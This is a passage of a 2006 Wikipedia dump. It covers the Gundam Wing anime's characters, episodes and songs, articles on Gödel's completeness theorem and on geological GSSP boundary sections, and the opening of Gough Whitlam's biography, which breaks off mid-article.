*'''[[Heero Yuy]]''' (real name unknown): Of [[Japan]]ese origin, Heero is the pilot of the [[XXXG-01W Wing Gundam]] and [[XXXG-00W0 Wing Gundam Zero]]. His name was taken from the assassinated peace advocate for the colonies.  Often called &quot;the perfect soldier&quot;, he speaks in a monotone voice and appears cold, reckless and emotionless, but according to Doctor J, he is actually a very kind-hearted person. Trained from youth, he became capable of piloting his Gundam with extreme prowess. His devotion to the completion of his mission is his defining characteristic (to the point that he detonates his Gundam while still riding it after receiving only one order).  He is one of the few pilots who can utilize the Zero system to its fullest capacity and was the first to gain control of the system. During the television series, very little of his past is revealed, although according to the manga series Episode: Zero, Heero was once the protégé of an assassin called [[Odin Lowe]]. After Odin Lowe died, Heero was taken in by Doctor J, who trained him to become a Gundam pilot. Dr. J gave him the code name of Heero Yuy, after the martyred leader of the colonies.
: According to the Sunrise creators, the name of Heero Yuy (pronounced &quot;He-e-ro Yu-i&quot; in Japanese) and its unique spelling are meant as a multiple wordplay on the Japanese words for &quot;one&quot; (ichi/hi) and &quot;unique&quot; (yui-itsu), the English word &quot;hero,&quot; and [[Amuro Ray]] (the main protagonist in the first Mobile Suit Gundam series, pronounced &quot;A-mu-ro Re-i&quot;).
''Voices'': [[Hikaru Midorikawa]] (Japanese), [[Mark Hildreth (voice actor)|Mark Hildreth]] (English), Zyad Al-Refa'ay (Arabic), Manuel Campuzano (Latin America)

*'''[[Duo Maxwell]]''': Of [[United States of America|American]] origin, Duo is the pilot of the [[XXXG-01D Gundam Deathscythe]], and [[XXXG-01D2 Gundam Deathscythe Hell]] (the original Deathscythe Hell version was redesigned in the [[Gundam Wing: Endless Waltz|Endless Waltz]] version, which was a &quot;retroactive redesign&quot;).  During the Episode Zero manga, we are given a glimpse into Duo's life before becoming a Gundam pilot.  He was an orphan who was brought to a Catholic church to be raised by Father Maxwell (thus his last name) and Sister Helen.  There was a boy there that Duo looked up to named Solo who died, Duo named himself that because when he and Solo were together, they became a duo. Rebel forces on the colony threatened the church, and to ease their threatening and to keep anyone he cared about from being injured, he went and stole the rebels a mobile suit. By the time he returned, however, the church was demolished, and everyone was dead except Sister Helen, who died in his arms.  Now he wears a priest's black shirt, with clerical collar. Duo refers to himself as Shinigami (God of Death) as a result of his belief that those close to him are fated to die. (When asked by Sister Helen upon his arrival at the church whether he believed in God, he said he believed in Death, since he's never seen God but has seen lots of death.)  He is the most extroverted of the Gundam pilots. In the edited version his God of Death nickname was changed to the Great Destroyer.
: Duo's surname was said to be inspired by [[Maxwell's Demon]].  Duo means &quot;two&quot;, a reference to being Solo and Heero being &quot;one&quot;.
''Voices'': [[Toshihiko Seki]] (Japanese), [[Scott McNeil]] (English), Muhammad Haddaqy (Arabic), Erick Osorio (Latin America)

*'''[[Trowa Barton]]''' (real name unknown; '''Triton Bloom''' is his suspected name though there is no sufficient evidence that this is his actual name): Trowa is of Latin American origin (officially confirmed by one of the show's producers), he's the pilot of the [[XXXG-01H Gundam Heavyarms]]. In his off-time he works in a circus as a clown and high wire act. Reserved by nature, he can be seen as emotionless as Heero, but is in fact a warm-hearted and very protective person, which is evident by the way he acts around people like Heero, Catherine and Quatre. Trowa has no recollection of his past and has lived most of his life on the battlefield; Trowa took the name of Trowa Barton, Dekim Barton's son, after the real Trowa was shot by the assistant of Dr. S. 
Trowa is assumed to be Catherine Bloom's long lost brother Triton, who was believed to have died years ago as an infant. There is only a little evidence of this: the baby being throw from the cart's wreckage that killed Catherine's family has Trowa's trademark bangs. That part precedes Trowa's main story in the Episode Zero manga, making it seem like the beginning of his own life story. And some very vague evidence, that Catherine is always overprotective of him in the series, even to the point of snapping at the other pilots when war is mentioned.
: Following the number naming scheme, Trowa derives from the French &quot;trois&quot;, meaning three. Trowa's name is supposedly an homage to director [[Tim Burton]], but this is unconfirmed.
''Voices'': [[Shigeru Nakahara]] (Japanese), [[Kirby Morrow]] (English), Ayas Abu-Ghazala (Arabic), Arturo Ciann (Latin America)

*'''[[Quatre Raberba Winner]]''': Of [[Arab]]ian origin, Quatre (pronounced KAT-trah) is the pilot of the [[XXXG-01SR Gundam Sandrock]]. He is a very kind young man who loves animals, and is the greatest believer in pacifism of the five Gundam pilots and gets along well with Duo. He believes that Earth and the colonies should not be fighting. He has twenty-nine older sisters, all test tube babies, because of the numerous problems experienced in natural pregnancy during the colonists' first arrival in space. Though the problem was later solved, the Winner family, who have been in space since the formation of the colonies, remained an exception. Quatre is the only child who was born naturally (his mother died giving birth to him and he was never told that he was born naturally) and is the heir to the Winner family. Quatre also leads a group of middle-eastern fighters known as the Maganac Corps. The Maganacs have accepted Quatre as their leader, when Quatre saved their leader Rashid's life, after Quatre helped flush out a traitor within the Maganacs ranks. His goggles were given to him at that time by the wounded Rashid, signifying their acceptance and loyalty to the young heir. He's a very close friend of Trowa Barton, specially after he almost dies for Quatre's sake.&lt;br/&gt;
''Voices'': [[Ai Orikasa]] (Japanese), [[Brad Swaile]] (English), Mansur Al-Salty (Arabic), Luis Tenorio (Latin America).
*NOTES: 
** Some fans speculate that he is actually an [[albinism|albino]] Arabian because of his bright blonde hair and pale skin.  His middle name, however, suggests that he is specifically of [[Berber]] heritage.  It should be technically noted that the [[Crusade]]s brought some [[Caucasian race|Caucasian]] blood into Berber bloodlines, and fair-haired Berbers are not uncommon.
** There is a thought that Quatre's empathic abilities (called his &quot;space heart&quot; in one episode) are a play on the Newtype abilities in the original Universal Century timeline of Gundam series.)
** Quatre means four in French, following the number themed name scheme.

*'''[[Chang Wufei]]'''(&lt;font lang=&quot;zh&quot;&gt;張 五飛&lt;/font&gt;): Of [[China|Chinese]] origin, Wufei is the pilot of [[XXXG-01S Shenlong Gundam]](&quot;&lt;font lang=&quot;zh&quot;&gt;神龍&lt;/font&gt;&quot;=God Dragon) which he calls Nataku (哪吒, equivalent to [[Nezha]]). Later in the series he pilots the [[XXXG-01S2 Altron Gundam]](&quot;&lt;font lang=&quot;zh&quot;&gt;二頭龍&lt;/font&gt;&quot;pinyin:Ertoulong, Double-headed Dragon), an upgraded version of Shenlong. Wufei despises weakness in character and body. When he was younger, his unwillingness to fight resulted in the death of his wife Meilan, a strong girl that took the responsibility of protecting the colony with the Gundam Shenlong onto herself.  (The elders of the colony were going to comply with the request to allow their colony to fall to Earth and cause chaos as outlined in the original Operation Meteor.)  Wufei is a member of the Dragon clan in which members are obligated to marry at the age of 13.  He fights for justice and named his Gundam after his wife, who believed that she was Nataku, a war god of legend who had a body but no soul to house within it.&lt;br/&gt;
''Voices'': [[Ryuuzou Ishino]] (Japanese), [[Ted Cole]] (English), Muhammad Mustafa (Arabic), José Gilberto Vilchis (Latin America)
*NOTES:
**In the original drafts of the series, Wufei had the [[Newtype]] power to sense evil-doers; this was subsequently written out.
**&quot;Wu&quot; in Mandarin Chinese is a homophone for &quot;five&quot;, following the number themed naming scheme.  Fei Chang (Western order of name) refers to a legendary Chinese hero.

===The Gundam Engineers===
*'''Doctor J''': The man who was responsible for the training of Heero Yuy and developed Wing Gundam. He is also the unofficial head of the Gundam engineers. His white hair hangs long and ragged, past his shoulders. He is also distinguished by a cybernetic arm and leg, and he always has dark goggles secured tightly over his eyes.  He's rather eccentric, putting up a fight rather than just giving into OZ demands when the colonies are threatened unless he surrenders.  ''Voice'': [[Dave Ward|Dave &quot;Squatch&quot; Ward]] (English), Jesús Barrero (Latin America)

*'''Professor G''': The man who took in Duo Maxwell and made him the pilot of Deathscythe which he had developed. His hair is cut to vaguely resemble the head of a mushroom. He has a very bushy mustache and an improbably long nose.  Sardonic and, like Doctor J, rather eccentric, he tends to describe Deathscythe as &quot;the ultimate work of art&quot;.

*'''Doctor S''': The engineer who created the Gundam Heavyarms, Trowa's Gundam.  His assistant shot the real Trowa Barton when Trowa revealed that he fully intended to execute Operation Meteor as originally planned. His short, grey hair stands almost straight up, and he has a peculiar prosthetic nose.

*'''Instructor H''': A friend of the Winner family that developed the Gundam Sandrock, Quatre's Gundam. He hid the plans for Wing Zero in the Winner family's database. He is rather fat, with a receding hairline and a thin, dark mustache that stands straight out at each end.  He appears to be the most reluctant of the engineers to reveal information on the Gundams.

*'''Master O''': The man who developed Gundam Shenlong, Wufei's Gundam, he found refuge amongst the members of the Long clan (of which Wufei was to marry into). Of imposing stature and bald as a cue ball, the powerful and athletic Master O is an expert in many forms of martial arts.

===OZ (Organization of the Zodiac) ===
*'''[[Treize Khushrenada]]''': Of [[Aryan]] origin, Trieze was originally appointed the leader of OZ in After Colony 193 after the death of its previous leader General Catalonia, and is also a member of the Romefeller Foundation. He is a charismatic leader, with a strong sense of ideals and an understanding of human nature that give him a devoted following among the men who serve him. Later on he is stripped of his position when he refuses to support the mobile dolls, a type of mobile suit that not require a pilot to operate successfully. He does so because Treize is a firm believer in tradition and feels that because mobile dolls will make humans unnecessary in battle, making warfare meaningless. This caused a similarly-minded part of OZ to split into what is known as Treize Faction. Later on, after his former friend Milliardo becomes the leader of the White Fang, Treize steps out of hiding and takes over Relena's position as the World Nations leader. He meets his end in battle against Chang Wufei, apparently of his own volition.  
''Voices'': [[Ryoutarou Okiayu]] (Japanese), [[David Kaye]] (English), Ayas Abu-Ghazala (Arabic), Luis Tenorio (Latin America)
*Notes:
**&quot;Treize&quot; is French for &quot;thirteen&quot;.

*'''[[Zechs Merquise]]''' (real name: Milliardo Peacecraft): Of [[Northern Europe]]an origin, Zechs pilots the Tallgeese for OZ. Later in the series, he pilots a mobile suit called [[OZ-13MS Gundam Epyon|Epyon]] which has the same program as [[Wing Zero]]. Zechs was once Milliardo Peacecraft, crown prince to the fallen pacifist nation, the Sanc Kingdom, and the older brother of future princess Relena Peacecraft. Under his real name he becomes the leader of the White Fang, a group made up of rebel colonists and former Treize Faction members. In [[Gundam Wing: Endless Waltz]], Milliardo/Zechs allies himself with the Gundam pilots and joins the Preventers, a group of former soldiers dedicated to preserving peace.
''Voices'': [[Takehito Koyasu]] (Japanese), [[Brian Drummond]] (English), Marwan Farhat (Arabic), Víctor Covarrubias (Latin America)
*Notes:
**&quot;Zechs&quot; is German for &quot;six&quot;.
**&quot;Milliardo&quot; is a play on the Italian word &quot;milliard&quot;, which means one billion.

*'''[[Lucrezia Noin]]''': Of Mediterranean origin, Noin apparently comes from a well-to-do Italian family. At the beginning of the series Noin was an instructor at OZ's Lake Victoria Academy. It was mentioned in the series that she got the second highest grade in the history of Lake Victoria Academy (Zechs got the highest, although he claims that it was only because Noin let him.) Later, she joins Zechs in the war. Upon Zechs's request she becomes Relena's guardian and acts as the head of security for the reincarnated Sanc Kingdom. She also supports the Gundam pilots whenever she can. She pilots a white Taurus suit as part of the Sanc Kingdom's defense.  
''Voices'': [[Chisa Yokoyama]] (Japanese), [[Saffron Henderson]] (English), Hanan Shaqeer (Arabic), Marianna Gómez (Latin America).
*Notes:
**&quot;Noin&quot; means &quot;nine&quot; in German.

*'''Lady Une''': Of [[Germany|German]] origin, Une is Treize's second in command; she is completely devoted to him.  Initially in the series, Une suffers from [[multiple personality disorder]], having one personality that is a complete pacifist and another that is a battle-hardened soldier. This personality is assumed by some sources to have been caused by Treize. He claims that the original, soldier Colonel Une needs to be more 'cultured'. Shortly after, she introduces her 'Lady Une' personality. Later in the series, Une somehow reconciles the two personalities into a single personality that is committed to bringing peace, but realistic in that she understands that force is needed to bring it about.  
''Voices'': [[Sayuri Yamauchi|Sayuri]] (Japanese), [[Enuka Okuma]] (English), Angy Yusif (Arabic)
*Notes:
**&quot;Une&quot; is French for &quot;one&quot;.

===The Romefeller Foundation===
*'''Dorothy Catalonia''': A teenage girl who greatly supports the war and believes that people only truly live when they fight. She believes that fighting is a part of human nature and that war is inevitable. Her beliefs put her at odds with the pacifistic ideals of Relena, as well as those of Gundam pilot Quatre (she, however, admires Relena's determination while hating Quatre's). It is revealed in a duel with Quatre that her father, General Catalonia, died in battle, and that she wishes for a glorious death as well. She is the granddaughter of the leader of Romefeller, Duke Dermail, and as such is a cousin of Treize Khushrenada.  
''Voices'': [[Naoko Matsui]] (Japanese), [[Cathy Weseluck]] (English), Amena Umar (Arabic)

===The Sanc Kingdom===
*'''Relena Darlian''' (real name: [[Relena Peacecraft]]): At the beginning of Gundam Wing, Relena is a naïve girl who becomes interested in (almost obsessed with) Heero Yuy. She lives the life of a socialite, which she seems to find boring and mundane (hence her attraction to the mysterious soldier). She is the daughter of Vice Foreign Minister Darlian, who, on his deathbed, tells her that she is really Relena Peacecraft, the princess of the fallen Sanc Kingdom, a nation dedicated to pacifism.  She later reinstates the Sanc Kingdom as its rightful heir, but the country is shattered by the Romefeller Foundation, which feels that the nation's pacifist views are a threat to the Foundation's goals. The Foundation offers her the position of their Chief Representative in hopes of using her considerable influence on the people to achieve their own ends. Relena accepts, but it proves to be a troublesome appointment for the Romefeller Foundation, as she refused to simply be their tool and attempted to change the views and methods of the organization. Though she meets with some success, she is ousted when Treize returns to that position after her brother Milliardo becomes the leader of the White Fang and declares war against the Earth. 

:In ''Endless Waltz'', she becomes the new Vice Foreign Minister of the Earth Sphere Unified Nation and has gone back to the Darlian name. During the time she was held captive by the Mariemaia Army, Relena realized for the first time that total pacifism doesn't lead to true peace and she was running from the truth. So in the end, having decided that she will no longer consider herself a Peacecraft, Relena is able direct the civilians to stand up to the Mariemaia Army in a non-violent protest. Afterwards she returns to her duties.  
''Voices'': [[Akiko Yajima]] (Japanese), [[Lisa Ann Beley]] (English), Amal Emran (Arabic), Mireya Mendoza (Latin America)

===The White Fang===
*'''Quinze''': The founder of White Fang, who offers Milliardo Peacecraft leadership of the organization.  He follows orders to the bitter end, even when Treize is dead yet Milliardo has decided to drop the remnants of the fortress Libra to earth.  It is through him that the audience learns the Gundam pilots and engineers failed to execute the true objectives of Operation Meteor and that what the pilots did was not part of the original plan.  In Endless Waltz, Zechs reveals that the true mastermind behind Operation Meteor was Dekim Barton, an associate of Quinze's.
*Notes:
**&quot;Quinze&quot; means &quot;fifteen&quot; in French.

===Civilians===
*'''Howard''': Howard did not develop any of the five Gundams, but he was one of the original Gundam engineers that developed the Tallgeese, the prototype for all mobile suits. In the series, he serves as a safe haven for rest and repair to both the gundam pilots and Zechs.  In the end, his ship, ''Peacemillion'', serves as a base of operations for the pilots in space for the final battle. His Hawaiian shirts and wraparound shades make him the most colorfully dressed character in the series.

*'''[[Hilde Schbeiker]]''': Of [[Germany|German]] origin, Hilde was a volunteer soldier to the OZ Space Army. When she meets Duo, she begins to feel doubts about OZ, and finally decides leave OZ and help Duo. She sneaks onto the battleship ''Libra'' and acquires data within about the ship, but when fleeing, she is attacked by the mobile dolls Mercurius and Vayeate, and dodges disaster by a hair's breadth when rescued by Duo. She later reunites with him. 
''Voices'': [[Kae Araki]] (Japanese), [[Marcy Goldberg]] (English), Usaima Yusif (Arabic), Mireya Mendoza (Latin America).

*'''[[Catherine Bloom]]''': An expert knife thrower in a travelling circus, Catherine is a young woman who detests violence as it took away her entire family when she was child, including her infant brother, Triton.  When Trowa comes to the circus, she begins to treat him as a younger brother and does not think too much of Trowa's odd friends showing up after his occasional disappearences from the troupe.  There is speculation that Trowa is actually Catherine's biological brother, though confirmed evidence has not been given (Episode Zero hints strongly at this, but official materials do not).
''Voices'': , Saori Suzuki (Japanese) [[Moneca Stori]] (series), [[Cathy Weseluck]] (Endless Waltz) (English), Marianna Gómez (Latin America)

*'''Sally Po''': Formerly a major and a medical officer in the Alliance's Federation Army prior to its takeover by OZ, Sally becomes a resistance fighter, protecting the people against the abuses of OZ. She encounters the various Gundam pilots and their friends and allies on several occasions, and assists them wherever possible. In this aspect she is plays a role similar to Noin's. Yet the difference is that where Noin chooses to lend her support solely to one person/country/ideal (i.e. the total pacifist ideals of the Sanc Kingdom of which Relena is ruler), Sally often works by herself. Despite this, the two women are allies and often supply each other with information.  
''Voices'': [[Yumi Touma]] (Japanese), [[Moneca Stori]] (1),  [[Samantha Ferris]] (2) (English)

==Episode Guide==
{{main|List of Gundam Wing Episodes}}

#The Shooting Star She Saw
#The Gundam Deathscythe
#Five Gundams Confirmed
#The Victorian Nightmare
#Relena's Secret
#Party Night
#Scenario For Bloodshed
#The Treize Assassination
#Portrait Of A Ruined Country
#Heero, Distracted By Defeat
#The Whereabouts Of Happiness
#Bewildered Warriors
#Catherine's Tears
#The Order To Destroy 01
#To The Battleground Antarctica
#The Sorrowful Battle
#Betrayed By Home, Far Away
#Tallgeese Destroyed
#Assault On Barge
#The Lunar Base Infiltration
#Grief Stricken Quatre
#The Fight For Independence
#Duo, God Of Death Once Again (Edited on Toonami as: ''Duo, The Great Destroyer Once Again'')
#The Gundam They Called Zero
#Quatre VS Heero
#The Eternal Flame Of The Shooting Stars
#The Locus Of Victory And Defeat
#Passing Destinies
#The Heroine Of The Battlefield
#The Reunion With Relena
#The Glass Kingdom
#The God Of Death Meets Zero (Edited on Toonami as: ''The Great Destroyer Meets Zero'')
#The Lonely Battlefield
#And Its Name Is Epyon
#The Return Of Wufei
#The Fall Of Sanc Kingdom
#Zero VS Epyon
#The Birth Of Queen Relena
#Trowa's Return To The Battlefield
#A New Leader
#Crossfire At Barge
#Battleship Libra
#Target: Earth
#Go Forth, Gundam Team
#Signs Of The Final Battle
#Milliardo's Decision
#Collision In Space
#Takeoff Into Confusion
#The Final Victor

==Openings, Endings and Insert Songs==
'''Openings:'''
*Just Communication by [[Two-Mix]] (ep. 1-40) (YTV Broadcast: 1-49)
*Rhythm Emotion by [[Two-Mix]] (ep. 41-49)
*Gundam Wings &quot;أجنحة كاندم&quot; (Arabic) [All episodes]
'''Ending:'''
*It's Just Love by [[Rumi Oishi]] (ep. 1-49)
*Just Communication (Instrumental Version) by [[Kou Ootani]] (Television Broadcast, ep. 1-49)

'''Insert Songs:'''
*Just Communication by [[Two-Mix]] (ep. 3 &amp; 49)
*Rhythm Emotion by [[Two-Mix]]

==See also==
[[Gundam Wing: Endless Waltz]]&lt;br&gt;
[[After Colony|After Colony Timeline]]&lt;br&gt;
[[After Colony Nations and Factions]]&lt;br&gt;
[[After Colony Mobile Units]]&lt;br&gt;
[[After Colony Technology]]&lt;br&gt;
[[After Colony list of characters]]&lt;br&gt;

==External links==
*[http://www.gundamofficial.com/www_ac/gw/index.htm Official ''Mobile Suit Gundam Wing'' website]
*[http://www.mahq.net/mecha/gundam/w/index.htm mahq.net] - detailed Mobile Suit information &lt;!-- this link was dead when I tried it on 2005/08/16; I'll keep an eye on it and remove it if it doesn't come back soon --&gt;
*[http://www.gun-plus.com/index.php?id=pages/000_wing Gundam Plus] - information, image gallery
*[http://www.yaoijanai.com/home.php Gundam Wing Fanworks]

{{Gundam Alternate Timelines}}

[[Category:Gundam series]]
[[Category:After Colony]]
[[Category:Shows on Toonami]]

[[de:Gundam Wing]]
[[fr:Gundam Wing]]
[[ja:新機動戦記ガンダムW]]
[[pl:Gundam Wing]]
[[pt:New Mobile Report Gundam Wing]]
[[th:กันดั้มวิง]]
[[zh:新機動戰記GUNDAM W]]</text>
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  </page>
  <page>
    <title>Gödel's completeness theorem</title>
    <id>12450</id>
    <revision>
      <id>40363905</id>
      <timestamp>2006-02-20T01:54:19Z</timestamp>
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        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Gödel's completeness theorem''' is an important statement of fact about [[mathematical logic]] which was first proved by [[Kurt Gödel]] in [[1929]]. It states, in its most familiar form, that in [[first-order predicate calculus]] every logically valid formula can be proved.

The word &quot;proved&quot; above means, in effect: proved by a process whose correctness at each of its steps can be checked [[algorithmically]], for example, by a [[computer]] (although no such machines existed in 1929).

A logical formula is called ''logically valid'' if it is true in every possible domain and with every possible interpretation, inside that domain, of non-constant symbols used in the formula.

To say that a logical formula can be proved means that there exists (mathematically) a formal proof of that formula which uses only the rules of inference and axioms of logic adopted in some particular [[formalisation]] of [[first-order predicate calculus]].

Put another way, the theorem is the statement that the rules of first-order predicate calculus are &quot;complete&quot;.  A converse to completeness 
is soundness.  That first-order predicate calculus is sound, i.e., that '''only''' universally valid statements can be proven in first-order logic, is asserted by the [[soundness theorem]].

In order cleanly to state Gödel's completeness theorem, one has to define what the word &quot;domain&quot; in the definition of &quot;logically valid&quot; means.  The word can be interpreted with the help of [[set theory]].

The branch of mathematical logic that deals with what is true in different domains and under different interpretations is [[model theory]]; the branch that deals with what can be formally proved is [[proof theory]]. The completeness theorem, therefore, establishes a fundamental connection between what is universally true and what can be proved; between model theory and proof theory; between semantics and syntax in mathematical logic. It should not, however, be misinterpreted as obliterating the difference between these two concepts; in fact, another celebrated result by the same author, [[Gödel's incompleteness theorem]], shows that there are inherent limitations in what can be achieved with formal proofs in mathematics.

==Proofs==

For an explanation of Gödel's original proof of the theorem, see
[[Original proof of Gödel's completeness theorem]].

In modern logic texts, Gödel's completeness theorem is usually proved with  [[Henkin]]'s proof rather than with 
Gödel's original proof.

==Further reading==
* Kurt Gödel, &quot;Über die Vollständigkeit des Logikkalküls&quot;, doctoral dissertation, University Of Vienna, 1929. This dissertation is the original source of the proof of the completeness theorem.
* Kurt Gödel, &quot;Die Vollständigkeit der Axiome des logischen Funktionen-kalküls&quot;, Monatshefte für Mathematik und Physik 37 (1930), 349-360. This article contains the same material as the doctoral dissertation, in a rewritten and shortened form. The proofs are more brief, the explanations more succinct, and the lengthy introduction has been omitted.

==External links==
* Vilnis Detlovs and Karlis Podnieks, &quot;Introduction to mathematical logic&quot;, http://www.ltn.lv/~podnieks/

[[Category:Model theory]]
[[Category:Mathematical theorems]]
[[Category:Mathematical logic]]
[[Category:Proof theory]]

[[de:Gödelscher Vollständigkeitssatz]]
[[fr:Théorème de complétude de Gödel]]
[[he:משפט השלמות של גדל]]
[[uk:Геделя теорема про повноту]]
[[zh:哥德尔完备定理]]</text>
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  <page>
    <title>Global Boundary Stratotype Section and Point</title>
    <id>12451</id>
    <revision>
      <id>40363907</id>
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        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">A '''Global Boundary Stratotype Section and Point''', abbreviated '''GSSP''', is an internationally agreed upon stratigraphic section which serves as the reference section for a particular boundary on the [[geologic time scale]].  The effort to define GSSPs is conducted by the [[International Commission on Stratigraphy]], a part of the [[International Union of Geological Sciences]].  Most, but not all, GSSPs are based on [[paleontology|paleontological]] changes.  Hence GSSPs are usually described in terms of transitions between different [[faunal stage]]s, though far more faunal stages have been described than GSSPs.  The GSSP definition effort commenced in 1977.  As of 2004, 45 of the 96 GSSPs required have been approved.

An ideal GSSP would
*be accessible by [[public transit]] from a major [[airport]]
*be accessible to research
*be extensive enough to ensure future access
*be easily related to other exposures worldwide
*contain a radiometrically datable bed at the boundary, and
*include well defined markers at the stage boundary that can be applied worldwide.  
No GSSP is ideal.

==Agreed-upon GSSPs== 
The [[Precambrian]]-[[Cambrian]] boundary GSSP at [[Fortune Head]], [[Newfoundland]] is a typical GSSP.  It is accessible by paved road and is set aside as a [[nature preserve]].  A continuous section is available from beds that are clearly Precambrian into beds that are clearly Cambrian.  The boundary is set at the first appearance of a complex trace fossil [[Trichophycus pedum]] that is found worldwide.  The Fortune Head GSSP is unlikely to be washed away or built over.  Trichophycus pedum is less than ideal as a marker fossil as it is not found in every Cambrian sequence, and it is not assured that it is found at the same level in every exposure.  But no other fossil is known that would be preferable.  There is no [[radiometric dating|radiometrically datable]] bed at the boundary at Fortune Head, but there is one slightly above the boundary in similar beds not very far away.

Once a GSSP boundary has been agreed upon, a &quot;golden spike&quot; is driven into the geologic section to mark the precise boundary for future geologists (though in practice the &quot;spike&quot; need neither be golden or an actual spike).  The first stratigraphic boundary was defined in 1977 by identifying the [[Silurian]]-[[Devonian]] boundary with a bronze plaque at a locality called Klonk, northeast of the village of Suchomastyin in the [[Czech Republic]].  GSSPs are also sometimes referred to as '''Golden Spikes'''.

==GSSAs==
Because defining a GSSP depends on finding well-preserved geologic sections and identifying key events, this task becomes more difficult as one goes farther back in time.  Before 630 million years ago, boundaries on the geologic timescale are defined simply by reference to fixed dates, known as [[Global Standard Stratigraphic Age]]s.

==External links==
*[http://www.stratigraphy.org/over.htm The Global Boundary Stratotype Section and Point (GSSP)]: overview

==Reference==
*Hedberg, H.D., (editor), ''International stratigraphic guide: A guide to stratigraphic classification, terminology, and procedure'', New York, John Wiley and Sons, 1976

[[Category:Geologic time scale]]
[[Category:Stratigraphy]]

[[it:GSSP]]</text>
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    <title>Gabrielle DAnnunzio</title>
    <id>12453</id>
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      <comment>#REDIRECT [[Gabriele D'Annunzio]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gabriele D'Annunzio]]</text>
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  <page>
    <title>Gough Whitlam</title>
    <id>12454</id>
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      <id>39702160</id>
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      <text xml:space="preserve">{{Infobox PM
 | name=Hon Gough Whitlam
 | image=truthofthematter.jpg
 | country=Australia
 | term=[[5 December]], [[1972]]&amp;ndash;[[11 November]], [[1975]]
 | before=[[William McMahon]]
 | after=[[Malcolm Fraser]]
 | date_birth=[[11 July]] [[1916]]
 | place_birth=[[Melbourne, Victoria|Melbourne]]
 | party=[[Australian Labor Party|Labor]]
}}
'''Edward Gough Whitlam''', AC, QC (born [[11 July]] [[1916]]), known as '''Gough Whitlam''' (pronounced ''Goff''), [[Australia]]n politician and 21st [[Prime Minister of Australia]], was the only Australian Prime Minister to be dismissed by the [[Governor-General of Australia|Governor-General]]. Whitlam remains one of the most controversial figures in Australian political history. Whitlam was dismissed by Sir [[John Kerr]], Governor-General of Australia on the 11th of November 1975.

His supporters praise his erudition and his reformist zeal, while his detractors view his government as chronically inept and unstable. Despite this, fans and foes alike acknowledge his mastery of public speaking; he is famed for his rapier wit and is widely considered one of the leading parliamentary performers of his generation. The manner of his dismissal is something that still arouses intense passion and debate.

Whitlam was born in [[Kew, Victoria|Kew]], a [[Melbourne]] suburb. His father, [[Fred Whitlam]], was a federal public servant who served as Solicitor-General. Whitlam senior's involvement in human rights issues was a powerful influence on his son. Whitlam was educated at [[Sydney]]'s [[Knox Grammar]] and at [[Canberra Grammar School]], where he became friends with [[Francis James]], later a prominent journalist.

Whitlam then studied law at the [[University of Sydney]]. During the [[World War II|Second World War]] he served as a navigator with the [[Royal Australian Air Force]], reaching the rank of flight-lieutenant. He completed his studies after the war and was admitted to the [[New South Wales]] bar in 1947.

In 1942 he married Margaret Dovey, daughter of Judge [[Bill Dovey]], and had three sons and a daughter.  Margaret Whitlam is known for having a sardonic wit equal to that of her husband and is a published author as well as a former champion swimmer. One of their sons, [[Nicholas Whitlam]], became a prominent banker and a controversial figure in his own right. Another son, [[Tony Whitlam]], was briefly a federal MP.

==Early career==
Whitlam's impetus to become involved in politics was the Chifley government's post-war referendum to gain increased powers for the federal government. He joined the [[Australian Labor Party]] in 1945 and in 1950 was a Labor candidate for the [[New South Wales Legislative Assembly]]: a contest he was later grateful he didn't win. When [[Hubert Lazzarini]], the sitting member for the safe Federal electorate of [[Division of Werriwa|Werriwa]], died in 1952, Whitlam was elected to the House of Representatives at the by-election on [[29 November]] [[1952]]. 

Noted since his schooldays for his erudition, eloquence and incisive wit, Whitlam soon became one of the ALP's star performers. Widely acknowledged as one of the best political speakers and parliamentary debaters of his time, he was also one of the few in the ALP who could hold his own against the wily [[Robert Menzies]] on the floor of the House.

After the electoral success of the [[John Curtin|Curtin]] and [[Ben Chifley|Chifley]] years, the 1950s were a grim and divisive time for Labor. The [[Liberal Party of Australia|Liberal]]-[[National Party of Australia|Country Party]] coalition government of Robert Menzies gained power in the election of 1949 and ruled for a record 23 years. Chifley died in June 1951. His replacement, [[H.V. Evatt|Dr H.V. Evatt]], lacked Chifley's conciliatory skills.

Whitlam admired Evatt greatly, and was a loyal supporter of his leadership, through a period dominated by the Labor split of 1955, which resulted in the Catholic right wing of the party breaking off to form the [[Democratic Labor Party]] (DLP). In 1960, having lost three elections, Evatt resigned, to be replaced by [[Arthur Calwell]], with Whitlam winning the election for deputy over veteran Labor MP [[Eddie Ward]]. Calwell came within a handful of votes of winning the 1961 election, but progressively lost ground from that time on.

The ALP, having been founded as a party to represent the working classes, still regarded its parliamentary representatives as servants of the party as a whole, and required them to comply with official party policy. This led to the celebrated ''Faceless Men'' picture of 1963, which showed Calwell and Whitlam waiting outside a [[Canberra]] hotel for the decision of an ALP Federal Conference. Prime Minister Menzies, in the November 1963 election campaign, used it to great advantage, drawing attention to &quot;the famous outside body, thirty-six 'faceless men' whose qualifications are unknown, who have no electoral responsibility.&quot; 

Whitlam was quick to respond, and spent years struggling for party reform&amp;#8212;at one stage, dubbing his opponents &quot;the 12 witless men&quot;&amp;#8212;and eventually succeeded in having the secretive Labor Party National Conference turned into an open public forum, with state representatives elected in proportion to their membership, and with both state and federal parliamentary leaders being automatic members.

Through the 1960s, Whitlam's relationship with Calwell and the right wing of the party remained uneasy. Whitlam opposed several key Labor policies, including [[nationalisation]] of industry, refusal of state aid to religious schools, and Calwell's continued support for the [[White Australia Policy]]. His stances brought him into direct conflict with the ALP leadership on several occasions and he was almost expelled from the party in 1966 because of his stand on the school aid issue.

In January of that year, Menzies finally retired. His successor as Liberal Party leader, [[Harold Holt]], led the coalition to a landslide election victory in November on a pro-American, pro-[[Vietnam War]] policy. This crushing defeat prompted Calwell to step down in early 1967. Gough Whitlam then became Leader of the Opposition, narrowly defeating his rival, [[Jim Cairns]].

==Opposition leader==
Whitlam swiftly made his mark on the ALP, bringing his campaign for internal reform to fruition, and overhauling or discarding a series of Labor policies that had been enshrined for decades. The [[White Australia Policy]] was dropped, Labor no longer opposed state aid, and the air of working-class puritanism that attended the Labor Party of the 1950s gave way to one that was younger, more optimistic, more socially liberal, more intellectual, and decidedly middle-class.

